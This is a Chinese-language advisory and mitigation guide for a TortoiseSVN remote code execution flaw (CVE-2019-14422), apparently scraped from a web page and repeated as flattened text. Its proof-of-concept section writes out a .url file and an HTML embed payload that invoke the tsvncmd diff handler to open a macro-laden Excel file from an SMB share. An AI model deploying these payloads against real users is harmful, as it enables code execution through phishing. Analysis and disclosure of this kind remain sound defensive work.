TortoiseSVN高危漏洞
字数 1500 2025-08-18 11:39:04

TortoiseSVN高危漏洞(CVE-2019-14422)技术分析与防护指南

漏洞概述

漏洞编号: CVE-2019-14422
影响软件: TortoiseSVN 1.12.1版本
漏洞类型: 远程代码执行漏洞
风险等级: 高危
披露时间: 2019年10月31日

漏洞描述

TortoiseSVN是一款基于Apache Subversion开发的流行版本控制软件,提供友好的图形用户界面。该漏洞源于其URI处理程序(Tsvncmd:)存在安全缺陷,允许在Excel工作簿上进行不受宏安全设置保护的定制diff操作,可能导致远程代码执行。

漏洞原理

  1. Tsvncmd协议机制:

    • TortoiseProc是TortoiseSVN的重要GUI程序,允许通过tsvncmd协议以web方式调用
    • Tsvncmd URI handler允许用户自定义方式比较两个Excel文件的差异
  2. 安全绕过问题:

    • 通过TortoiseSVN打开Excel文件时,会绕过Excel的宏安全设置
    • 恶意Excel文件中的宏脚本会在无任何安全提醒的情况下直接执行
  3. 攻击向量:

    • 使用tsvncmd:command:diff?path:[file1]?path2:[file2]命令执行diff操作
    • 对于.xls文件,TortoiseSVN会使用diff-xls.js进行比较
    • 攻击者可利用此机制强制打开包含恶意宏的远程Excel文件

受影响版本

  • TortoiseSVN 1.12.1版本

漏洞验证(PoC)

PoC 1: 通过.url文件利用

  1. 创建payload.url文件,内容如下:
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,0
[InternetShortcut]
IDList=
URL=tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx
HotKey=0
  1. 攻击者需准备:

    • 在192.168.129.169上设置SMB共享
    • 共享两个Excel文件: mal.xlsm(包含恶意宏)和null.xlsx(空文件)
  2. 用户双击payload.url文件后:

    • 恶意Excel文件被自动打开
    • 其中的宏代码(如启动计算器)被执行
    • 整个过程无任何安全警告

PoC 2: 通过HTML文件利用

  1. 创建HTML文件,内容如下:
<embed type="text/html" src="tsvncmd:command:diff?path:\\192.168.129.169\SharedDocs\mal.xlsm?path2:\\192.168.129.169\SharedDocs\null.xlsx" />
  1. 用户通过浏览器打开该HTML文件时:
    • 会提示是否允许TortoiseSVN客户端执行
    • 用户点击"允许"后,恶意宏被执行

防护措施

临时缓解方案

  1. 用户行为控制:

    • 不要轻易打开可疑文件(电子邮件、链接、文档等)
    • 禁用Tsvncmd协议处理程序(通过注册表或默认程序设置)
  2. 环境加固:

    • 在Excel中设置高宏安全级别(尽管此漏洞可绕过)
    • 禁用Office中的宏执行功能

根本解决方案

  1. 软件更新:

    • 升级到TortoiseSVN最新版本(1.12.2及以上已修复此漏洞)
    • 定期检查并安装软件更新补丁
  2. 安全防护体系:

    • 部署终端防护软件,及时更新病毒库
    • 使用高级威胁检测系统(如"铁穹"系统)监测异常行为
    • 实施网络访问控制,限制SMB等高风险协议的访问

参考链接

附录: 技术细节

  1. 注册表关联:

    • Tsvncmd协议处理程序通常注册在HKEY_CLASSES_ROOT\tsvncmd
    • 可临时修改或删除此键值作为缓解措施
  2. 文件关联风险:

    • .url文件和特定HTML构造可触发此协议
    • 需警惕非常规文件扩展名的潜在风险
  3. 攻击场景扩展:

    • 结合社会工程学,此漏洞可被用于鱼叉式钓鱼攻击
    • 在企业内网中,可能通过内部文件共享快速传播
TortoiseSVN高危漏洞(CVE-2019-14422)技术分析与防护指南 漏洞概述 漏洞编号 : CVE-2019-14422 影响软件 : TortoiseSVN 1.12.1版本 漏洞类型 : 远程代码执行漏洞 风险等级 : 高危 披露时间 : 2019年10月31日 漏洞描述 TortoiseSVN是一款基于Apache Subversion开发的流行版本控制软件,提供友好的图形用户界面。该漏洞源于其URI处理程序(Tsvncmd:)存在安全缺陷,允许在Excel工作簿上进行不受宏安全设置保护的定制diff操作,可能导致远程代码执行。 漏洞原理 Tsvncmd协议机制 : TortoiseProc是TortoiseSVN的重要GUI程序,允许通过tsvncmd协议以web方式调用 Tsvncmd URI handler允许用户自定义方式比较两个Excel文件的差异 安全绕过问题 : 通过TortoiseSVN打开Excel文件时,会绕过Excel的宏安全设置 恶意Excel文件中的宏脚本会在无任何安全提醒的情况下直接执行 攻击向量 : 使用 tsvncmd:command:diff?path:[file1]?path2:[file2] 命令执行diff操作 对于.xls文件,TortoiseSVN会使用diff-xls.js进行比较 攻击者可利用此机制强制打开包含恶意宏的远程Excel文件 受影响版本 TortoiseSVN 1.12.1版本 漏洞验证(PoC) PoC 1: 通过.url文件利用 创建payload.url文件,内容如下: 攻击者需准备: 在192.168.129.169上设置SMB共享 共享两个Excel文件: mal.xlsm(包含恶意宏)和null.xlsx(空文件) 用户双击payload.url文件后: 恶意Excel文件被自动打开 其中的宏代码(如启动计算器)被执行 整个过程无任何安全警告 PoC 2: 通过HTML文件利用 创建HTML文件,内容如下: 用户通过浏览器打开该HTML文件时: 会提示是否允许TortoiseSVN客户端执行 用户点击"允许"后,恶意宏被执行 防护措施 临时缓解方案 用户行为控制 : 不要轻易打开可疑文件(电子邮件、链接、文档等) 禁用Tsvncmd协议处理程序(通过注册表或默认程序设置) 环境加固 : 在Excel中设置高宏安全级别(尽管此漏洞可绕过) 禁用Office中的宏执行功能 根本解决方案 软件更新 : 升级到TortoiseSVN最新版本(1.12.2及以上已修复此漏洞) 定期检查并安装软件更新补丁 安全防护体系 : 部署终端防护软件,及时更新病毒库 使用高级威胁检测系统(如"铁穹"系统)监测异常行为 实施网络访问控制,限制SMB等高风险协议的访问 参考链接 TortoiseSVN官方网站(获取安全版本): https://tortoisesvn.net/ CVE详细记录: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14422 附录: 技术细节 注册表关联 : Tsvncmd协议处理程序通常注册在 HKEY_CLASSES_ROOT\tsvncmd 下 可临时修改或删除此键值作为缓解措施 文件关联风险 : .url文件和特定HTML构造可触发此协议 需警惕非常规文件扩展名的潜在风险 攻击场景扩展 : 结合社会工程学,此漏洞可被用于鱼叉式钓鱼攻击 在企业内网中,可能通过内部文件共享快速传播